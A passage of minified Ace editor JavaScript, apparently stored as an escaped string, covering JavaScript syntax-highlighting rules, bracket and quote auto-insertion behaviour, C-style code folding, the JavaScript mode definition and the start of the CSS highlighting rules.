:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var 